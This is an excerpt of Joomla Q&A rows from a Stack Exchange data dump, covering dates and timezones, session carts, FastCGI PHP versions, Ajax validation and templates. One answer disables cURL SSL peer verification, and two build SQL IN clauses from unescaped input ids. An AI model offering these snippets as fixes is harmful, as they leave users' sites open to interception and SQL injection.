  <row Id="9801" PostTypeId="1" AcceptedAnswerId="9803" CreationDate="2015-04-28T00:56:42.650" Score="3" ViewCount="2483" Body="&lt;p&gt;The following code works and outputs the date for the different offsets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 'Australia/Sydney' . JFactory::getDate('now', 'Australia/Sydney');&#xA;echo &quot;&amp;lt;BR&amp;gt;&quot;;&#xA;echo 'UTC' . JFactory::getDate('now', 'UTC');&#xA;echo &quot;&amp;lt;BR&amp;gt;&quot;;&#xA;echo 'Asia/Jakarta ' . JFactory::getDate('now', 'Asia/Jakarta');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 'Australia/Sydney' . JFactory::getDate('today', 'Australia/Sydney');&#xA;echo &quot;&amp;lt;BR&amp;gt;&quot;;&#xA;echo 'UTC' . JFactory::getDate('today', 'UTC');&#xA;echo &quot;&amp;lt;BR&amp;gt;&quot;;&#xA;echo 'Asia/Jakarta ' . JFactory::getDate('today', 'Asia/Jakarta');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All gives me the same result : 2015-04-29 00:00:00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get Joomla to give me a date with the timezone offset that I select please?&lt;/p&gt;&#xA;" OwnerUserId="1799" OwnerDisplayName="Mat Kay" LastEditorUserId="9471" LastEditDate="2018-06-19T23:55:08.437" LastActivityDate="2018-06-19T23:55:08.437" Title="How to get the date with timezone offset applied" Tags="|date|" AnswerCount="2" CommentCount="3" ClosedDate="2015-05-05T23:24:20.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="9802" PostTypeId="2" ParentId="9801" CreationDate="2015-04-29T00:11:57.407" Score="0" Body="&lt;p&gt;It could either be the system timezone: System =&gt; Global Configuration =&gt; Server =&gt; Location Settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or that particular user has a different timezone set in the user manager: Users =&gt; User Manager =&gt; Name =&gt; Basic Settings =&gt; Time Zone&lt;/p&gt;&#xA;" OwnerDisplayName="CreativeChris" LastActivityDate="2015-04-29T00:11:57.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9803" PostTypeId="2" ParentId="9801" CreationDate="2015-04-30T02:32:56.657" Score="6" Body="&lt;p&gt;OK so I believe this to be true :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking for a Joomla answer whereas I needed to use some Joomla and some php to get what I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JDate works off UTC timezone by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need to apply your server timezone offset (or user timezone offset) to the date first. That way,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config = JFactory::getConfig();&#xA;$offset = $config-&amp;gt;get('offset');&#xA;echo $offset;&#xA;echo &quot;&amp;lt;br&amp;gt;&quot;;&#xA;$date = new JDate('today', $offset);&#xA;echo $date;&#xA;echo &quot;&amp;lt;br&amp;gt;&quot;;&#xA;$date-&amp;gt;setTimezone(new DateTimeZone('UTC'));&#xA;echo $date;&#xA;echo &quot;&amp;lt;br&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output of the above for me was:&#xA;Australia/Melbourne&#xA;2015-04-30 00:00:00&#xA;2015-04-29 14:00:00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and now I have the UTC offset of today for my server and can use it query data.&lt;/p&gt;&#xA;" OwnerUserId="1799" OwnerDisplayName="Mat Kay" LastActivityDate="2015-04-30T02:32:56.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9804" PostTypeId="2" ParentId="9798" CreationDate="2015-05-05T16:09:37.300" Score="0" Body="&lt;p&gt;Ok, I resolved the first problem with the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ids = array();&#xA;foreach($cart_result['items'] as $result) {&#xA;    $ids[] = $result['itemid'];&#xA;}&#xA;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('name','price')))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__products'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('id').&quot; IN (&quot;.implode(',', $ids).&quot;)&quot;);&#xA;$db-&amp;gt;setQuery($query);&#xA;$items = $db-&amp;gt;loadObjectList();&#xA;return $items;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the second problem regarding quantities remains&lt;/p&gt;&#xA;" OwnerUserId="4042" LastActivityDate="2015-05-05T16:09:37.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9805" PostTypeId="2" ParentId="9506" CreationDate="2015-05-05T16:30:08.690" Score="0" Body="&lt;p&gt;The simpler solution is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($cart_result['items'] as $result) {&#xA;    echo $result['id'];&#xA;    echo $result['name'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4042" LastActivityDate="2015-05-05T16:30:08.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9806" PostTypeId="2" ParentId="9795" CreationDate="2015-05-05T17:22:38.640" Score="3" Body="&lt;p&gt;Using FastCGI:&#xA;in apache configuration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FastCgiServer /var/www/cgi-bin/php-cgi-5.3.0&#xA;FastCgiServer /var/www/cgi-bin/php-cgi-5.4.0&#xA;FastCgiServer /var/www/cgi-bin/php-cgi-5.5.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Create php-cgi-* files for each version in /var/www/cgi-bin/&#xA;e.g&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/var/www/cgi-bin/php-cgi-5.3.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which should point to right php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/sh&#xA;PHPRC=&quot;/etc/php5/cgi/5.3.0/&quot;&#xA;exec /path/to/php-cgi-5.3.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now apache directory configuration&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Directory &quot;/var/www/sitename&quot;&amp;gt;&#xA;  AddHandler php-cgi .php&#xA;  Action php-cgi /var/www/cgi-bin/php-cgi-5.3.0&#xA;  ...&#xA;&amp;lt;/Directory&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Repeat the steps for other versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: This process for linux environment but can be easily adapted to Windows.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-05-05T17:22:38.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9807" PostTypeId="2" ParentId="9789" CreationDate="2015-05-05T17:30:23.487" Score="1" Body="&lt;p&gt;Set the following cURL options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);&#xA;curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,  2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CURLOPT_SSL_VERIFYPEER - verify the peer's SSL certificate (&lt;a href=&quot;http://curl.haxx.se/libcurl/c/CURLOPT_SSL_VERIFYPEER.html&quot; rel=&quot;nofollow&quot;&gt;http://curl.haxx.se/libcurl/c/CURLOPT_SSL_VERIFYPEER.html&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CURLOPT_SSL_VERIFYHOST - verify the certificate's name against host (&lt;a href=&quot;http://curl.haxx.se/libcurl/c/CURLOPT_SSL_VERIFYHOST.html&quot; rel=&quot;nofollow&quot;&gt;http://curl.haxx.se/libcurl/c/CURLOPT_SSL_VERIFYHOST.html&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-05-05T17:30:23.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9808" PostTypeId="2" ParentId="9795" CreationDate="2015-05-05T19:44:46.633" Score="2" Body="&lt;p&gt;The most efficient way in my opinion is to use something like MAMP, which has become available for Windows. The MAMP pro version gives you options to create as many hosts environments as you like and select different configuration on each one, including PHP versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will save you from installing manually the PHP versions and setup the hosts environments you need for each project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mamp.info/en/downloads/&quot; rel=&quot;nofollow&quot;&gt;https://www.mamp.info/en/downloads/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-05-05T19:44:46.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9809" PostTypeId="1" CreationDate="2015-05-05T22:54:28.577" Score="2" ViewCount="765" Body="&lt;p&gt;As the title show I want to have different Article Layout for each Category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example&#xA;Article 1 (category A)-&gt; layout_1&#xA;Article 2 (category A)-&gt; layout_1&#xA;Article 3 (category A)-&gt; layout_1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Article 1 (category B)-&gt; layout_2&#xA;Article 2 (category B)-&gt; layout_2&#xA;Article 3 (category B)-&gt; layout_2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know to set this from each item (from Option tab Alternative Layout) but it´s posible to set this for each category (and not item by item) ?? Inside each Category set up under Alternative Layout I only have the &quot;list&quot; layouts for this category but not the unique item show.&lt;/p&gt;&#xA;" OwnerUserId="2013" LastActivityDate="2015-05-06T03:10:45.100" Title="Different Article alternative layout for each category" Tags="|layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9810" PostTypeId="2" ParentId="9809" CreationDate="2015-05-06T03:10:45.100" Score="1" Body="&lt;p&gt;Yes it is possible.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to Menus-&gt;Your Menus-&gt;Add New Menu &lt;/li&gt;&#xA;&lt;li&gt;Create new menu of type Category List/Blog &lt;/li&gt;&#xA;&lt;li&gt;In menu creation page, select &quot;Template Style&quot; option to your alternate style&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-05-06T03:10:45.100" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9811" PostTypeId="2" ParentId="9798" CreationDate="2015-05-06T03:19:25.697" Score="2" Body="&lt;p&gt;Query: Fetch item id as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select($db-&amp;gt;quoteName(array('id', 'name','price')))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__products'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('id').&quot; IN (&quot;.implode(',', $ids).&quot;)&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Loop: Loop over the items fetched and compare with array in session&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($items as $item) {&#xA;&#xA;    foreach ($results as $result){&#xA;&#xA;       if($item-&amp;gt;id == $result['itemid'])&#xA;       {&#xA;          echo $item-&amp;gt;name.$item-&amp;gt;price.$result['quan'];&#xA;       }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-05-06T03:19:25.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9812" PostTypeId="1" AcceptedAnswerId="9820" CreationDate="2015-05-06T06:12:32.613" Score="6" ViewCount="1912" Body="&lt;p&gt;I'm developing custom component and I use Ajax for calling various tasks via controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've one form, where user inputs data which should get validated before database transaction. I'm using JTable for interacting with database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two ways to have Server-side validation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1) Using Model by extending JModelForm and override validate() method&#xA;  of that form which can return a messages to JResponseJSon object in&#xA;  controller.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2) Overriding JTable's check() method which will check the data (and return messages to JResponseJson Object) before&#xA;  it get's store in database.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Both of the above methods validate data at Server-side. My question would be, what is the best way out of above two considering I'm using JResponseJson object to deal with my application in AJAX way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my controller Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Overrided Method to save a record.&#xA; *&#xA; * @return  boolean  True if successful, false otherwise.&#xA; *&#xA; * @since   12.2&#xA; */&#xA;public function save()&#xA;{&#xA;    // Check for request forgeries.&#xA;    JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));&#xA;&#xA;    $app        = JFactory::getApplication();&#xA;    $model      = $this-&amp;gt;getModel();&#xA;    $helpdesk   = $model-&amp;gt;getTable();&#xA;    $data       = $this-&amp;gt;input-&amp;gt;post-&amp;gt;get('jform', array(), 'array');&#xA;    $key        = $helpdesk-&amp;gt;getKeyName();&#xA;    $recordId   = $this-&amp;gt;input-&amp;gt;getInt($key);&#xA;    // Populate the row id from the session.&#xA;    $data[$key] = $recordId;&#xA;&#xA;    // Access check.&#xA;    if (!$this-&amp;gt;allowSave($data, $key))&#xA;    {&#xA;        $this-&amp;gt;setRedirect(JRoute::_('index.php?option=' . $this-&amp;gt;option . '&amp;amp;view=' . $this-&amp;gt;view_list . $this-&amp;gt;getRedirectToItemAppend()), JText::_('COM_HELPDESK_SAVE_ACCESS_ERROR'), 'warning');&#xA;&#xA;        return FALSE;&#xA;    }&#xA;&#xA;    $response = $model-&amp;gt;save($data);&#xA;&#xA;    // Attempt to save the data.&#xA;    if ($response === false)&#xA;    {&#xA;        echo new JResponseJson($response, NULL, true);&#xA;        $app-&amp;gt;close();&#xA;    }&#xA;&#xA;    $this-&amp;gt;postSaveHook($model, $data);&#xA;&#xA;    if ($model-&amp;gt;getState('request.new') == '1')&#xA;    {&#xA;        $recordId = (int) $model-&amp;gt;getState('request.id');&#xA;        // Set Success Message for New Request.&#xA;        echo new JResponseJson(NULL, JText::sprintf('COM_HELPDESK_REQUEST_NEW_SAVE_SUCCESS', $recordId));&#xA;        $app-&amp;gt;close();&#xA;    }&#xA;    else&#xA;    {&#xA;        // Set Success Message for Existing Request.&#xA;        echo new JResponseJson(NULL, JText::sprintf('COM_HELPDESK_REQUEST_EDIT_SAVE_SUCCESS', $recordId));&#xA;        $app-&amp;gt;close();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my JTable's check method code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /**&#xA;     * Overloaded check function&#xA;     *&#xA;     * @return  boolean  True on success, false on failure&#xA;     *&#xA;     * @see JTable::check&#xA;     * @since 1.5&#xA;     */&#xA;    public function check()&#xA;    {&#xA;        $app  = JFactory::getApplication();&#xA;        $type = 'error';&#xA;        $flag = true;&#xA;&#xA;        if (trim($this-&amp;gt;subject) == '')&#xA;        {&#xA;            $app-&amp;gt;enqueueMessage(JText::_('COM_HELPDESK_SUBJECT_ERROR'), $type);&#xA;            $flag = false;&#xA;        }&#xA;&#xA;        if (trim($this-&amp;gt;description) == '')&#xA;        {&#xA;            $app-&amp;gt;enqueueMessage(JText::_('COM_HELPDESK_DESCRIPTION_ERROR'), $type);&#xA;            $flag = false;&#xA;        }&#xA;&#xA;        if ($this-&amp;gt;priority == 0)&#xA;        {&#xA;            $app-&amp;gt;enqueueMessage(JText::_('COM_HELPDESK_PRIORITY_ERROR'), $type);&#xA;            $flag = false;&#xA;        }&#xA;&#xA;        return $flag;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2233" LastEditorUserId="2233" LastEditDate="2015-05-06T06:38:17.110" LastActivityDate="2015-05-06T09:58:56.987" Title="Recommended way of Server-side validation for custom component with Ajax" Tags="|joomla-3.x|validations|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9815" PostTypeId="1" AcceptedAnswerId="9817" CreationDate="2015-05-06T07:59:30.000" Score="0" ViewCount="819" Body="&lt;p&gt;I need to show different components in different templates. How can i do this ? For menu using the template manager we can assign templates. Please help.&lt;/p&gt;&#xA;" OwnerUserId="5198" LastActivityDate="2015-05-06T09:13:08.587" Title="How to change template for components in joomla 3?" Tags="|joomla-3.x|component|templates|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9816" PostTypeId="1" AcceptedAnswerId="9823" CreationDate="2015-05-06T08:23:06.883" Score="1" ViewCount="1026" Body="&lt;p&gt;I use the following code in my controller for adding product items to the session:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$input = $app-&amp;gt;input;&#xA;$itemid = $input-&amp;gt;get('itemid');&#xA;$quan = $input-&amp;gt;get('quan');&#xA;$session = JFactory::getSession();&#xA;$cart = $session-&amp;gt;get('cart', array());&#xA;$cart['items'][] = array('itemid' =&amp;gt; $itemid, 'quan' =&amp;gt; $quan);&#xA;$session-&amp;gt;set('cart', $cart);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works, but if I add the same product with the same ID to the session once more it doesn't update the quantity of such product but adds the same product as new item. So I need something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($itemid == 'itemid') {&#xA;    $cart['items'][] = array('quan' =&amp;gt; 'quan'+$quan); // i.e. current quan + new quan&#xA;} else {&#xA;    $cart['items'][] = array('itemid' =&amp;gt; $itemid, 'quan' =&amp;gt; $quan);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't work of course&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2015-05-08T09:57:40.393" LastActivityDate="2015-05-08T09:57:40.393" Title="Update quantity of the same item in the session instead of adding new one" Tags="|joomla-3.x|development|joomla-api|session|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9817" PostTypeId="2" ParentId="9815" CreationDate="2015-05-06T08:26:26.020" Score="2" Body="&lt;p&gt;You create content pages with menu items. Each menu item refers and loads content of its specific component that is part of, alongside with its specific view/layout.&lt;/p&gt;&#xA;&lt;p&gt;Since you already know that you can assign different templates for each menu, I think you already have the answer you are looking for.&lt;/p&gt;&#xA;&lt;p&gt;Simply create the menu items for the component you want, and assign the template you want for it. You are done.&lt;/p&gt;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;Your comment/concern:&lt;/strong&gt; &amp;quot;but i don't want every component to be displayed as menu. Some have the links in the homepage which redirects to some components&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt;&lt;br /&gt;&#xA;Menu items are essentials in Joomla eco-system. They can control many parameters and hold much information about the display of your content, plus the modules that you want to display in each page.&lt;br /&gt;&#xA;If you don't assign a menu item then most likely all of your components will be displayed under the home menu item, which in many cases is not desirable.&lt;/p&gt;&#xA;&lt;p&gt;You have to create a &lt;strong&gt;hidden menu&lt;/strong&gt; and setup menu items for your components there. A hidden menu is a menu that is not attached to a menu-module, therefore is not visible in the front-end of your website, but it will be still there and working.&lt;br /&gt;&#xA;You can then assign your new menu-items to the templates you want.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-05-06T09:13:08.587" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9818" PostTypeId="1" AcceptedAnswerId="9819" CreationDate="2015-05-06T09:02:05.713" Score="1" ViewCount="1138" Body="&lt;p&gt;Hi I'm developing custom component in Joomla. After successful save, my controllers set's 303 redirect with custom message. But with the AJAX interface in middle, my page does not seems to get redirected to that page. It stays on same page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zilS5.png&quot; alt=&quot;AJAX Request Network Console&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I handle 303 status code and force my page to redirect on page that is being set by controller?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my js code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#submit').click(function(e){&#xA;    $('.requestForm').ajaxSubmit({&#xA;        url: 'index.php?option=com_helpdesk&amp;amp;task=request.save',&#xA;        type: 'POST',&#xA;        beforeSubmit: function () {&#xA;            $.blockUI({css: {&#xA;                    border: 'none',&#xA;                    padding: '15px',&#xA;                    backgroundColor: '#000',&#xA;                    '-webkit-border-radius': '10px',&#xA;                    '-moz-border-radius': '10px',&#xA;                    opacity: .5,&#xA;                    color: '#fff'&#xA;                }});&#xA;        },&#xA;        success: function(result, status, xhr) {&#xA;            var response = $.parseJSON(result);&#xA;            if (!response['success'])&#xA;            {&#xA;                var html = '&amp;lt;div class=&quot;alert alert-warning alert-dismissible&quot; role=&quot;alert&quot;&amp;gt;';&#xA;                html += '&amp;lt;button type=&quot;button&quot; class=&quot;close&quot; data-dismiss=&quot;alert&quot; aria-label=&quot;Close&quot;&amp;gt;&amp;lt;span aria-hidden=&quot;true&quot;&amp;gt;&amp;amp;times;&amp;lt;/span&amp;gt;&amp;lt;/button&amp;gt;';&#xA;                html += '&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Warning!&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;';&#xA;                $.each(response['messages']['error'], function (index, value) {&#xA;                    html += '&amp;lt;p&amp;gt;' + value + '&amp;lt;/p&amp;gt;';&#xA;                });&#xA;                html += '&amp;lt;/div&amp;gt;';&#xA;                $('#system-message-container').html(html);&#xA;            }&#xA;            else&#xA;            {&#xA;                //Here my page get's 303 redirect which needs to be handle.&#xA;            }&#xA;        },&#xA;        statusCode: {&#xA;            // I tried this but this is not working&#xA;            303: function() {&#xA;                $.unblockUI();&#xA;                alert('hurray');&#xA;            }&#xA;        },&#xA;        complete: function () {&#xA;            $.unblockUI();&#xA;        }&#xA;    });&#xA;    e.preventDefault();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-05-06T09:45:57.510" Title="Custom Component - Handle 303 Redirect on AJAX" Tags="|joomla-3.x|ajax|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9819" PostTypeId="2" ParentId="9818" CreationDate="2015-05-06T09:45:57.510" Score="1" Body="&lt;p&gt;In Joomla, regular controllers save a redirect. On Ajax side, it is perfectly fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of trying to avoid redirection, just write a specific save &quot;saveAsync&quot; in your controller, with no redirection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition , some libraries like Backbone.JS or AngularJS submits forms in a different way (php input raw json) than common Joomla forms and it has to be handled accordingly in the controller.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-05-06T09:45:57.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9820" PostTypeId="2" ParentId="9812" CreationDate="2015-05-06T09:58:56.987" Score="4" Body="&lt;p&gt;As previously suggested, it is better to manage errors without introducing conditionals into business logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can just throw exceptions and catch them at the highest level, where you can encode to Json (and avoid a redirection).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tip: One nasty aspect, even though you close app, any extension can add HTML to your Json data output, namenly Jomsocial. A trick, a valid Json output can be wrapped with custom tagging to &quot;extract&quot; it inside $.ajax from text.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-05-06T09:58:56.987" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9822" PostTypeId="1" CreationDate="2015-05-06T10:47:37.380" Score="2" ViewCount="110" Body="&lt;p&gt;There was an order placed in Hikashop (mails sent, paybox payment received), but we can no longer find it in the back-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its order_id is missing in the tables hikashop_order, hikashop_order_product and hikashop_history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other table to look at? Any logfile?&#xA;My best guess is that the order was erased from back-end. If so, how to prove it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the next times, may playing with &lt;a href=&quot;http://www.hikashop.com/support/documentation/62-hikashop-developer-documentation.html#onAfterOrderDelete&quot; rel=&quot;nofollow&quot;&gt;onAfterOrderDelete&lt;/a&gt; help in any way?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onAfterOrderDelete($elements){&#xA;    if(!is_array($elements)){&#xA;        $elements = array($elements);&#xA;    }&#xA;    $database = JFactory::getDBO();&#xA;&#xA;    foreach($elements as $key =&amp;gt; $val){&#xA;        $elements[$key] = $database-&amp;gt;Quote($val);&#xA;    }&#xA;&#xA;    $query='DELETE FROM '.hikashop_table('history').' WHERE history_order_id IN ('.implode(',',$elements).')';&#xA;&#xA;    //add some log message here?&#xA;&#xA;    $database-&amp;gt;setQuery($query);&#xA;    $database-&amp;gt;query();&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3488" LastEditorUserId="126" LastEditDate="2015-05-08T10:55:13.283" LastActivityDate="2017-03-30T17:15:35.430" Title="Joomla Hikashop missing order: how to tell if has been deleted?" Tags="|joomla-3.4|hikashop|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9823" PostTypeId="2" ParentId="9816" CreationDate="2015-05-06T11:19:10.943" Score="3" Body="&lt;h2&gt;Solution A: Slightly adjusted array structure&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You have only your itemid and the corresponding quantity in your array. Why don't you use the itemid as array index ($cart['items'][&amp;lt;ITEMID&amp;gt;]) so you could easily update your quantity if the index already exists.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cart['items'][100] = 10&#xA;$cart['items'][236] = 5&#xA;  your itemid --^     ^-- your quantity&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($cart['items'][$itemid]))&#xA;{&#xA;    $cart['items'][$itemid] = $cart['items'][$itemid] + $quan;&#xA;}&#xA;else &#xA;{&#xA;    $cart['items'][$itemid] = $quan;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Solution B: Loop through existing array structure&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Otherwise you have to loop through your array, find the item with the right itemid and update its quantity, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$input = $app-&amp;gt;input;&#xA;$itemid = $input-&amp;gt;get('itemid');&#xA;$quan = $input-&amp;gt;get('quan');&#xA;$session = JFactory::getSession();&#xA;$cart = $session-&amp;gt;get('cart', array());&#xA;$found = false;&#xA;&#xA;if (isset($cart['items']) &amp;amp;&amp;amp; !empty($cart['items']))&#xA;{&#xA;    foreach ($cart['items'] as &amp;amp;$item)&#xA;    {&#xA;        if ($item['itemid'] == $itemid)&#xA;        {&#xA;            $item['quan'] += $quan;&#xA;            $found = true;&#xA;            break;&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;if (!$found) &#xA;{&#xA;    $cart['items'][] = array('itemid' =&amp;gt; $itemid, 'quan' =&amp;gt; $quan);&#xA;}&#xA;&#xA;$session-&amp;gt;set('cart', $cart);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2015-05-08T09:54:00.863" LastActivityDate="2015-05-08T09:54:00.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
